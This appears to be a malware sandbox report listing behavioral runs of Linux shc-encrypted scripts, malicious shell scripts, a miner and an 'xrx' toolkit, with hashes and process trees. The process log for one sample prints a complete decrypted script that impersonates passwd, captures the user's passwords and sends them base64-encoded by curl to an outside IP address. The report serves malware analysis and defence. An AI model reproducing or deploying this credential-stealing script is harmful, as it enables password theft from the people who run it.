Overview
overview
10Static
static
10样本/Lin...9DC1D8
ubuntu-18.04-amd64
7样本/Lin...B36C5B
ubuntu-24.04-amd64
6样本/Lin...E3B383
ubuntu-24.04-amd64
8样本/Lin...6F5973
ubuntu-22.04-amd64
1样本/Lin...776DB8
ubuntu-18.04-amd64
1样本/Lin...776DB8
debian-9-armhf
1样本/Lin...776DB8
debian-9-mips
1样本/Lin...776DB8
debian-9-mipsel
1样本/Lin...C9A3F7
ubuntu-18.04-amd64
6样本/Lin...C9A3F7
debian-9-armhf
6样本/Lin...C9A3F7
debian-9-mips
6样本/Lin...C9A3F7
debian-9-mipsel
6样本/Lin...FECBE5
ubuntu-22.04-amd64
101AAF1A9F78...31.tar
windows7-x64
11AAF1A9F78...31.tar
windows10-2004-x64
1xrx/chattr
ubuntu-24.04-amd64
1xrx/init.sh
ubuntu-22.04-amd64
6xrx/init0
ubuntu-24.04-amd64
8xrx/scp
ubuntu-18.04-amd64
1xrx/scp
debian-9-armhf
1xrx/scp
debian-9-mips
1xrx/scp
debian-9-mipsel
1xrx/secure
ubuntu-24.04-amd64
7xrx/uninstall.sh
ubuntu-18.04-amd64
6xrx/uninstall.sh
debian-9-armhf
6xrx/uninstall.sh
debian-9-mips
6xrx/uninstall.sh
debian-9-mipsel
6xrx/xrx
ubuntu-18.04-amd64
6Analysis
-
max time kernel
0s -
max time network
131s -
platform
ubuntu-22.04_amd64 -
resource
ubuntu2204-amd64-20240729-en -
resource tags
arch:amd64arch:i386image:ubuntu2204-amd64-20240729-enkernel:5.15.0-105-genericlocale:en-usos:ubuntu-22.04-amd64system -
submitted
26-11-2024 12:41
Behavioral task
behavioral1
Sample
样本/Linux/shc加密脚本/069AD3938C3F9C049F670A8EB49DC1D8
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
样本/Linux/shc加密脚本/42693670C71A529A11E81943F5B36C5B
Resource
ubuntu2404-amd64-20240523-en
Behavioral task
behavioral3
Sample
样本/Linux/shc加密脚本/73F9917255A953EB749F5A3C90E3B383
Resource
ubuntu2404-amd64-20240523-en
Behavioral task
behavioral4
Sample
样本/Linux/shc加密脚本/CDAFEFEDB4709959B4260435DC6F5973
Resource
ubuntu2204-amd64-20240729-en
Behavioral task
behavioral5
Sample
样本/Linux/sh恶意脚本/9C8A5EF51CF8A89F5F00498A5A776DB8
Resource
ubuntu1804-amd64-20240508-en
Behavioral task
behavioral6
Sample
样本/Linux/sh恶意脚本/9C8A5EF51CF8A89F5F00498A5A776DB8
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral7
Sample
样本/Linux/sh恶意脚本/9C8A5EF51CF8A89F5F00498A5A776DB8
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral8
Sample
样本/Linux/sh恶意脚本/9C8A5EF51CF8A89F5F00498A5A776DB8
Resource
debian9-mipsel-20240611-en
Behavioral task
behavioral9
Sample
样本/Linux/sh恶意脚本/E4CC1A7F992909E8509520FDD6C9A3F7
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral10
Sample
样本/Linux/sh恶意脚本/E4CC1A7F992909E8509520FDD6C9A3F7
Resource
debian9-armhf-20240729-en
Behavioral task
behavioral11
Sample
样本/Linux/sh恶意脚本/E4CC1A7F992909E8509520FDD6C9A3F7
Resource
debian9-mipsbe-20240418-en
Behavioral task
behavioral12
Sample
样本/Linux/sh恶意脚本/E4CC1A7F992909E8509520FDD6C9A3F7
Resource
debian9-mipsel-20240611-en
Behavioral task
behavioral13
Sample
样本/Linux/挖矿程序/9D099882A24757AC5033B0C675FECBE5
Resource
ubuntu2204-amd64-20240729-en
Behavioral task
behavioral14
Sample
1AAF1A9F7877DC2C899D910A52F67F31.tar
Resource
win7-20240903-en
Behavioral task
behavioral15
Sample
1AAF1A9F7877DC2C899D910A52F67F31.tar
Resource
win10v2004-20241007-en
Behavioral task
behavioral16
Sample
xrx/chattr
Resource
ubuntu2404-amd64-20240523-en
Behavioral task
behavioral17
Sample
xrx/init.sh
Resource
ubuntu2204-amd64-20240611-en
Behavioral task
behavioral18
Sample
xrx/init0
Resource
ubuntu2404-amd64-20240523-en
Behavioral task
behavioral19
Sample
xrx/scp
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral20
Sample
xrx/scp
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral21
Sample
xrx/scp
Resource
debian9-mipsbe-20240729-en
Behavioral task
behavioral22
Sample
xrx/scp
Resource
debian9-mipsel-20240418-en
Behavioral task
behavioral23
Sample
xrx/secure
Resource
ubuntu2404-amd64-20240523-en
Behavioral task
behavioral24
Sample
xrx/uninstall.sh
Resource
ubuntu1804-amd64-20240729-en
Behavioral task
behavioral25
Sample
xrx/uninstall.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral26
Sample
xrx/uninstall.sh
Resource
debian9-mipsbe-20240418-en
Behavioral task
behavioral27
Sample
xrx/uninstall.sh
Resource
debian9-mipsel-20240611-en
General
-
Target
样本/Linux/shc加密脚本/CDAFEFEDB4709959B4260435DC6F5973
-
Size
990KB
-
MD5
cdafefedb4709959b4260435dc6f5973
-
SHA1
9c54fa7b42fb4f25e6dbc995741661cee1bd8141
-
SHA256
cb7d520296116df898c01bb9e94c05efcaa38dffb14354f42b62262c5b147e34
-
SHA512
391bf2745abbac6ccd8eee0c7e3ea62daec185ac997d8a8cb0c918c733defdc701ff0ba44d727a3619a9be0e2070e0e34e8ceb2e1cceca889cb0f94b92c2e404
-
SSDEEP
24576:bNAp09HLyf/Jck/sGjeXFAGqkkdagwGKLUU:bip0Byf/Jck/sGjYBlEwGK
Malware Config
Signatures
Processes
-
/tmp/样本/Linux/shc加密脚本/CDAFEFEDB4709959B4260435DC6F5973/tmp/样本/Linux/shc加密脚本/CDAFEFEDB4709959B4260435DC6F59731⤵PID:1564
-
/bin/bash/tmp/样本/Linux/shc加密脚本/CDAFEFEDB4709959B4260435DC6F5973 -c "exec '/tmp/样本/Linux/shc加密脚本/CDAFEFEDB4709959B4260435DC6F5973' \"\$@\"" /tmp/样本/Linux/shc加密脚本/CDAFEFEDB4709959B4260435DC6F59731⤵PID:1564
-
/tmp/样本/Linux/shc加密脚本/CDAFEFEDB4709959B4260435DC6F5973/tmp/样本/Linux/shc加密脚本/CDAFEFEDB4709959B4260435DC6F59731⤵PID:1564
-
/bin/bash/tmp/样本/Linux/shc加密脚本/CDAFEFEDB4709959B4260435DC6F5973 -c " #!/bin/bash if [ \"\$1\" = \"pollo\" ]; then echo 'pollo 👍' exit fi username=\$(whoami) if [ \"\$username\" = \"root\" ]; then if [ \"\$#\" -ne \"0\" ]; then echo 'Changing password for user '\$1. else echo 'Changing password for user root.' fi sleep 0.1 read -sp 'New password:' passvar1 sleep 0.1 echo -e read -sp 'Retype new password:' passvar2 pass=\$(echo \$username \$passvar1 \$passvar2 | base64) curl -s http://45.10.20.100:1010/pass?pass=\$pass &> /dev/null || cd1 -s http://45.10.20.100:1010/pass?pass=\$pass &> /dev/null if [ \"\$passvar1\" != \"\$passvar2\" ]; then echo -e echo 'Sorry, passwords do not match.' echo 'passwd: Have exhausted maximum number of retries for service' sleep 0.2 else echo -e echo 'passwd: all authentication tokens updated successfully.' sleep 0.2 fi else echo 'Changing password for user '\$username. read -sp '(current) UNIX password:' passvar0 echo -e read -sp 'New password:' passvar1 sleep 0.1 echo -e read -sp 'Retype new password:' passvar2 pass=\$(echo \$username \$passvar0 \$passvar1 \$passvar2 | base64) curl -s http://45.10.20.100:1010/pass?pass=\$pass &> /dev/null || cd1 -s http://45.10.20.100:1010/pass?pass=\$pass &> /dev/null if [ \"\$passvar1\" != \"\$passvar2\" ]; then echo -e echo 'Sorry, passwords do not match.' echo 'passwd: Have exhausted maximum number of retries for service' sleep 0.2 else echo -e echo 'passwd: all authentication tokens updated successfully.' sleep 0.2 fi fi " /tmp/样本/Linux/shc加密脚本/CDAFEFEDB4709959B4260435DC6F59731⤵PID:1564
-
/usr/bin/whoamiwhoami2⤵PID:1565
-
-
/usr/bin/sleepsleep 0.12⤵PID:1566
-
-
/usr/bin/sleepsleep 0.12⤵PID:1567
-
-
/usr/bin/base64base642⤵PID:1570
-
-
/usr/bin/curlcurl -s "http://45.10.20.100:1010/pass?pass=cm9vdAo="2⤵PID:1571
-
-
/usr/bin/sleepsleep 0.22⤵PID:1577
-